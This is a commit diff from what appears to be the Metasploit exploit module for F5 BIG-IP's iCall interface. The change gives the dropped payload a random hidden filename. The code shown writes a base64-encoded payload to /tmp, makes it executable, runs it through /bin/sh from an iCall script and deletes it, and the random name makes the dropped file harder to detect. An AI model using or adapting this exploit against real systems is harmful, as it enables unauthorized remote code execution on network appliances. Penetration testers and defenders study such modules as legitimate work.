Skip to content

Commit 1aa1d7b

Browse files
committed
Use random path for payload
1 parent ee5d91f commit 1aa1d7b

File tree

1 file changed

+10
-7
lines changed

1 file changed

+10
-7
lines changed

modules/exploits/linux/http/f5_icall_cmd.rb

Lines changed: 10 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -55,11 +55,17 @@ def initialize(info = {})
5555
[
5656
OptInt.new('INTERVAL', [ true, 'Time interval before the iCall::Handler is called, in seconds', 3 ]),
5757
OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
58-
OptString.new('FILENAME', [false, 'File name of the dropped payload', '.9cdfb439c7876e70']),
58+
OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']),
5959
OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
6060
])
6161
end
6262

63+
def setup
64+
file = datastore['FILENAME']
65+
file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}"
66+
@payload_path = ::File.join(datastore['PATH'], file)
67+
end
68+
6369
def build_xml
6470
builder = Nokogiri::XML::Builder.new do |xml|
6571
xml.Envelope do
@@ -226,13 +232,10 @@ def check
226232

227233
def exploit
228234
# phase 1: create iCall script to create file with payload, execute it and remove it.
229-
filepath = datastore['PATH']
230-
filename = datastore['FILENAME']
231-
dest_file = filepath + '/' + filename
232-
register_file_for_cleanup dest_file
235+
register_file_for_cleanup @payload_path
233236

234-
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file}; chmod +x #{dest_file};#{dest_file};rm -f #{dest_file})
235-
cmd = %(if { ! [file exists #{dest_file}]} { exec /bin/sh -c "#{shell_cmd}"})
237+
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path};rm -f #{@payload_path})
238+
cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"})
236239

237240
arg_max = datastore['ARG_MAX']
238241
if shell_cmd.size > arg_max

0 commit comments

Comments
 (0)